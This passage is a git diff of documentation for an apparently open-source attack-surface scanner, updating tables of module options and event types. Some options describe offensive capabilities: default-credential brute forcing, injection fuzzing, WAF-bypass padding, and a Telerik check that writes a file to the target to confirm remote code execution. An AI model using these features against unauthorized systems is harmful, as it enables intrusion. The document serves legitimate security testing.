| Folder to save the GraphQL schemas to | | | modules.http.in_scope_only | bool | Only visit web resources that are in scope. | True | @@ -499,13 +537,14 @@ In addition to the stated options for each module, the following universal optio | modules.legba.rate_limit | int | Limit the number of requests per second, gets overridden for SSH | 3 | | modules.legba.ssh_wordlist | Union[str, list[str]] | Wordlist for SSH combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt | | modules.legba.telnet_wordlist | Union[str, list[str]] | Wordlist for TELNET combined username:password, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt | -| modules.legba.version | str | legba version | 1.1.1 | +| modules.legba.version | VersionStr | legba version | 1.1.1 | | modules.legba.vnc_wordlist | Union[str, list[str]] | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed). | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt | -| modules.lightfuzz.avoid_wafs | bool | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests | True | +| modules.lightfuzz.avoid_wafs | Literal['always', 'never', 'try_bypasses'] | How to handle WAF-tagged targets. 'always' skips them entirely; 'never' fuzzes them raw; 'try_bypasses' (default) asks nowafpls whether body padding gets through, and fuzzes with padding when it does. | try_bypasses | | modules.lightfuzz.disable_post | bool | Disable processing of POST parameters, avoiding form submissions. | False | | modules.lightfuzz.emit_baseline_responses | bool | Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs. | True | | modules.lightfuzz.enabled_submodules | list[str] | A list of submodules to enable. Empty list enabled all modules. | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf'] | | modules.lightfuzz.force_common_headers | bool | Force emit commonly exploitable parameters that may be difficult to detect | False | +| modules.lightfuzz.max_baseline_generations | int | Stop emitting baseline responses once a parameter is this many lightfuzz generations deep, bounding excavate feedback loops. | 10 | | modules.lightfuzz.try_get_as_post | bool | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing). | False | | modules.lightfuzz.try_post_as_get | bool | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing). | False | | modules.medusa.snmp_versions | list[str] | List of SNMP versions to attempt against the SNMP server (default ['1', '2C']) | ['1', '2C'] | @@ -519,15 +558,25 @@ In addition to the stated options for each module, the following universal optio | modules.nuclei.concurrency | int | maximum number of templates to be executed in parallel (default 25) | 25 | | modules.nuclei.directory_only | bool | Filter out 'file' URL event (default True) | True | | modules.nuclei.etags | str | tags to exclude from the scan | | +| modules.nuclei.etypes | str | protocol types to exclude from the scan, comma-separated (dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript) | | +| modules.nuclei.exclude_ids | str | Exclude templates with the given IDs | | +| modules.nuclei.exclude_severity | str | Filter out templates with the given severities | | +| modules.nuclei.include_tags | str | tags to run even though nuclei excludes them by default (e.g. dos, fuzz, bruteforce) | | | modules.nuclei.mode | Literal['manual', 'technology', 'severe', 'budget'] | manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual | | modules.nuclei.module_timeout | int | Max time in seconds to spend handling each batch of events | 21600 | +| modules.nuclei.new_templates | bool | Only run templates added in the latest templates release | False | +| modules.nuclei.new_templates_versions | str | Only run templates added in the given templates releases, e.g. 'v10.4.8,v10.4.9' | | +| modules.nuclei.profile | str | nuclei template profile to run (built-in profile id, or path to a profile file) | | +| modules.nuclei.protocol_types | str | Only run templates of the given protocol types (http, dns, ssl, tcp, javascript, etc.) | | | modules.nuclei.ratelimit | int | maximum number of requests to send per second (default 150) | 150 | | modules.nuclei.retries | int | number of times to retry a failed request (default 0) | 0 | | modules.nuclei.severity | str | Filter based on severity field available in the template. | | | modules.nuclei.silent | bool | Don't display nuclei's banner or status messages | False | | modules.nuclei.tags | str | execute a subset of templates that contain the provided tags | | +| modules.nuclei.template_condition | str |` expression to filter templates by, e.g. "epss_score>=0.1 && max_request<=3" `| | +| modules.nuclei.template_ids | str | Only run templates with the given IDs (wildcards allowed) | | | modules.nuclei.templates | str | template or template directory paths to include in the scan | | -| modules.nuclei.version | str | nuclei version | 3.11.1 | +| modules.nuclei.version | VersionStr | nuclei version | 3.11.1 | | modules.oauth.try_all | bool | Check for OAUTH/IODC on every subdomain and URL. | False | | modules.paramminer_cookies.recycle_words | bool | Attempt to use words found during the scan on all other endpoints | False | | modules.paramminer_cookies.skip_boring_words | bool | Remove commonly uninteresting words from the wordlist | True | @@ -552,16 +601,20 @@ In addition to the stated options for each module, the following universal optio | modules.portscan.skip_tags | str | Comma-separated event tags that will be excluded from scanning (e.g. 'cdn,waf'). speculate will emit assumed-open ports for these instead. | | | modules.portscan.top_ports | int | Top ports to scan (default 100) (to override, specify 'ports') | 100 | | modules.portscan.wait | int | Seconds to wait for replies after scan is complete | 5 | -| modules.retirejs.node_version | str | Node.js version to install locally | 18.19.1 | +| modules.retirejs.node_version | VersionStr | Node.js version to install locally | 18.19.1 | | modules.retirejs.severity | Literal['none', 'low', 'medium', 'high', 'critical'] | Minimum severity level to report (none, low, medium, high, critical) | medium | -| modules.retirejs.version | str | retire.js version | 5.3.0 | +| modules.retirejs.version | VersionStr | retire.js version | 5.3.0 | | modules.robots.include_allow | bool | Include 'Allow' Entries | True | | modules.robots.include_disallow | bool | Include 'Disallow' Entries | True | | modules.robots.include_sitemap | bool | Include 'sitemap' entries | False | | modules.securitytxt.emails | bool | emit EMAIL_ADDRESS events | True | | modules.securitytxt.urls | bool | emit URL_UNVERIFIED events | True | -| modules.telerik.exploit_RAU_crypto | bool | Attempt to confirm any RAU AXD detections are vulnerable | False | -| modules.telerik.include_subdirs | bool | Include subdirectories in the scan (off by default) | False | +| modules.telerik.custom_secrets | Optional[str] | Path to a file with additional Telerik hash/encryption keys to spray, one per line. | None | +| modules.telerik.include_machinekeys | bool | Also spray ASP.NET machineKey values (thousands of keys, much slower). | False | +| modules.telerik.include_subdirs | bool | Probe every discovered subdirectory instead of only the site root. | False | +| modules.telerik.probe_dialoghandler_oracle | bool | After DialogHandler detection, probe for CVE-2017-9248 oracle-vulnerable state. | True | +| modules.telerik.rau_confirm_version | bool | WARNING: writes a benign 1-byte file to the target's C:\windows\temp\ on success. Iterates candidate Telerik versions with default keys; the version that uploads is the installed one, which also confirms RCE. | False | +| modules.telerik.try_known_keys | bool | After DialogHandler detection, spray known Telerik hash/encryption keys (via badsecrets). | True | | modules.url_manipulation.allow_redirects | bool | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default. | True | | modules.virtualhost.brute_lines | int | Take only the first N lines from the wordlist when finding directories | 2000 | | modules.virtualhost.brute_wordlist | str | Wordlist containing subdomains | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt | @@ -576,6 +629,7 @@ In addition to the stated options for each module, the following universal optio | modules.virtualhost.wordcloud_check | bool | Enable check using scan-wide wordcloud data on target host | False | | modules.waf_bypass.max_concurrent_checks | int | Maximum number of concurrent bypass-attempt HTTP checks in finish() | 100 | | modules.waf_bypass.neighbor_cidr | int | CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true | 28 | +| modules.waf_bypass.scan_targets_only | bool | Only attempt bypasses against WAF-protected hosts that were explicitly specified as scan targets | True | | modules.waf_bypass.search_ip_neighbors | bool | Also check IP neighbors of the target domain | True | | modules.waf_bypass.similarity_threshold | float | Similarity threshold for content matching | 0.9 | | modules.wafw00f.generic_detect | bool | When no specific WAF detections are made, try to perform a generic detect | True | @@ -623,6 +677,8 @@ In addition to the stated options for each module, the following universal optio | modules.dnscaa.emails | bool | emit EMAIL_ADDRESS events | True | | modules.dnscaa.in_scope_only | bool | Only check in-scope domains | True | | modules.dnscaa.urls | bool | emit URL_UNVERIFIED events | True | +| modules.dnsdumpster.api_key | str | list[str] | DNSDumpster API key | | +| modules.dnsdumpster.max_pages | int | Maximum result pages to request per domain | 10 | | modules.dnstlsrpt.emit_emails | bool | Emit EMAIL_ADDRESS events | True | | modules.dnstlsrpt.emit_raw_dns_records | bool | Emit RAW_DNS_RECORD events | False | | modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | @@ -651,10 +707,9 @@ In addition to the stated options for each module, the following universal optio | modules.jadx.threads | int | Maximum jadx threads for extracting apk's, default: 4 | 4 | | modules.kreuzberg.extensions | list[str] | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.leakix.api_key | str | list[str] | LeakIX API Key | | +| modules.otilabs.api_key | str | list[str] | RapidAPI key subscribed to the OTI Labs Domain Intelligence API | | | modules.otx.api_key | str | list[str] | OTX API key | | | modules.pgp.search_urls | list[str] | PGP key servers to search |` ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index'] `| -| modules.portfilter.allowed_cdn_ports | str | Comma-separated list of ports that are allowed to be scanned for CDNs | 80,443 | -| modules.portfilter.cdn_tags | str | Comma-separated list of tags to skip, e.g. 'cdn,waf' | cdn,waf | | modules.postman.api_key | str | list[str] | Postman API Key | | | modules.postman_download.api_key | str | list[str] | Postman API Key | | | modules.postman_download.output_folder | str | Folder to download postman workspaces to. If not specified, downloaded workspaces will be deleted when the scan completes, to minimize disk usage. | | @@ -662,7 +717,6 @@ In addition to the stated options for each module, the following universal optio | modules.shodan_dns.api_key | str | list[str] | Shodan API key | | | modules.shodan_enterprise.api_key | str | list[str] | Shodan API Key | | | modules.shodan_enterprise.in_scope_only | bool | Only query in-scope IPs. If False, will query up to distance 1. | True | -| modules.shodan_idb.retries | Optional[int] | How many times to retry API requests (e.g. after a 429 error). Overrides the global web.api_retries setting. | None | | modules.subdomainradar.api_key | str | list[str] | SubDomainRadar.io API key | | | modules.subdomainradar.group | Literal['fast', 'medium', 'deep'] | The enumeration group to use. Choose from fast, medium, deep | fast | | modules.subdomainradar.timeout | int | Timeout in seconds | 120 | @@ -673,13 +727,13 @@ In addition to the stated options for each module, the following universal optio | modules.trajan.jenkins_token | str | Jenkins API token | | | modules.trajan.jenkins_username | str | Jenkins username for basic auth | | | modules.trajan.jfrog_token | str | JFrog API token | | -| modules.trajan.version | str | Trajan version to download and use | 1.0.0 | +| modules.trajan.version | VersionStr | Trajan version to download and use | 1.0.0 | | modules.trickest.api_key | str | list[str] | Trickest API key | | | modules.trufflehog.concurrency | int | Number of concurrent workers | 8 | | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | | modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | | modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.96.0 | +| modules.trufflehog.version | VersionStr | trufflehog version | 3.99.8 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | | modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | @@ -694,9 +748,9 @@ In addition to the stated options for each module, the following universal optio | modules.csv.output_file | str | Output to CSV file | | | modules.discord.event_types | list[str] | Types of events to send | ['FINDING'] | | modules.discord.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.discord.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.discord.webhook_url | str | Discord webhook URL | | | modules.elastic.password | str | Elastic password | bbotislife | +| modules.elastic.ssl_verify | bool | None | Verify SSL certificates (Elastic usually serves a self-signed cert; set to null to use the global web.ssl_verify_infrastructure setting) | False | | modules.elastic.timeout | int | HTTP timeout | 10 | | modules.elastic.url | str |` Elastic URL (e.g. https://localhost:9200//_doc) `| https://localhost:9200/bbot_events/_doc | | modules.elastic.username | str | Elastic username | elastic | @@ -730,7 +784,6 @@ In addition to the stated options for each module, the following universal optio | modules.rabbitmq.url | str | The RabbitMQ connection URL | amqp://guest:guest@localhost/ | | modules.slack.event_types | list[str] | Types of events to send | ['FINDING'] | | modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.slack.webhook_url | str | Slack webhook URL | | | modules.splunk.hectoken | str | HEC Token | | | modules.splunk.index | str | Index to send data to | | @@ -748,7 +801,6 @@ In addition to the stated options for each module, the following universal optio | modules.subdomains.output_file | str | Output to file | | | modules.teams.event_types | list[str] | Types of events to send | ['FINDING'] | | modules.teams.min_severity | str | Only allow FINDING events of this severity or higher | LOW | -| modules.teams.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.teams.webhook_url | str | Teams webhook URL | | | modules.txt.output_file | str | Output to file | | | modules.web_parameters.include_count | bool | Include the count of each parameter in the output | False | @@ -759,6 +811,7 @@ In addition to the stated options for each module, the following universal optio | modules.webhook.headers | dict | Additional headers to send with the request | {} | | modules.webhook.method | str | HTTP method | POST | | modules.webhook.password | str | Password (basic auth) | | +| modules.webhook.ssl_verify | bool | None | Verify SSL certificates (defaults to the global web.ssl_verify_infrastructure setting) | None | | modules.webhook.timeout | int | HTTP timeout | 10 | | modules.webhook.url | str | Web URL | | | modules.webhook.username | str | Username (basic auth) | | @@ -768,6 +821,7 @@ In addition to the stated options for each module, the following universal optio | modules.websocket.url | str | Web URL | | | modules.zeromq.zmq_address | str | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555) | | | modules.excavate.custom_yara_rules | str | Include custom Yara rules | | +| modules.excavate.long_redirect_threshold | int | Minimum number of bytes following the end of the HTML document for a 3xx response to be reported as a long redirection response. Set to 0 to disable the check. | 2048 | | modules.excavate.max_form_bytes | int |` Maximum byte slice of the response body searched for a single
    body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match. `| 262144 | | modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | | modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 749a1d32be..45cdeae3cd 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -126,42 +126,42 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | -| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 57 | 39 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, rapiddns, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 38 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 4 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, lightfuzz, virtualhost, wayback | -| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 5 | 6 | asset_inventory, fingerprintx, http, nmap_xml, portfilter | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | -| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | -| URL | 25 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | -| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | -| URL_UNVERIFIED | 9 | 19 | code_repository, filedownload, http, oauth, portfilter, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VIRTUAL_HOST | 0 | 1 | | virtualhost | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, webhook, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 8 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trajan, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 59 | 41 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otilabs, otx, pgp, portscan, rapiddns, scanmalware, securitytrails, securitytxt, shodan_dns, shodan_idb, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otilabs, otx, rapiddns, scanmalware, securitytrails, shodan_dns, shodan_idb, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| DNS_NAME_UNVERIFIED | 0 | 1 | | virtualhost | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 41 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bypass403, dotnetnuke, excavate, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, js_unpacker, legba, lightfuzz, medusa, newsletters, nowafpls, ntlm, nuclei, reflected_parameters, retirejs, shodan_enterprise, shodan_idb, speculate, telerik, trajan, trufflehog, url_manipulation, waf_bypass, wayback | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 20 | 5 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, favicon, filedownload, gitlab_onprem, host_header, js_unpacker, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, sslcert, telerik, trufflehog | http, js_unpacker, lightfuzz, virtualhost, wayback | +| IP_ADDRESS | 11 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_enterprise, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 1 | portscan, speculate | dnsresolve | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 4 | 6 | asset_inventory, fingerprintx, http, nmap_xml | asset_inventory, censys_ip, portscan, shodan_enterprise, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 2 | | censys_ip, shodan_enterprise | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 9 | 6 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft | +| TECHNOLOGY | 4 | 10 | asset_inventory, gitlab_onprem, trajan, web_report | ajaxpro, badsecrets, censys_ip, dotnetnuke, favicon, gitlab_onprem, gowitness, nuclei, shodan_enterprise, shodan_idb | +| URL | 25 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, generic_ssrf, git, gowitness, graphql_introspection, http, iis_shortnames, lightfuzz, nowafpls, ntlm, nuclei, robots, speculate, telerik, url_manipulation, virtualhost, waf_bypass, wafw00f, wayback, web_report, webbrute | gowitness, http | +| URL_HINT | 1 | 1 | webbrute_shortnames | iis_shortnames | +| URL_UNVERIFIED | 8 | 20 | code_repository, filedownload, http, oauth, retirejs, social, speculate, trajan | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, fingerprintx, github_codesearch, gowitness, hunterio, js_unpacker, robots, securitytxt, urlscan, wayback, webbrute, webbrute_shortnames | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VIRTUAL_HOST | 0 | 1 | | virtualhost | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 5 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers, wayback | [Next Up: Output -->](./output.md){ .md-button .md-button--primary } diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 08f6b5c4ab..2d680f46e0 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -187,30 +187,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 100 | Non-intrusive and non-destructive | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_hetzner, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, emails, excavate, 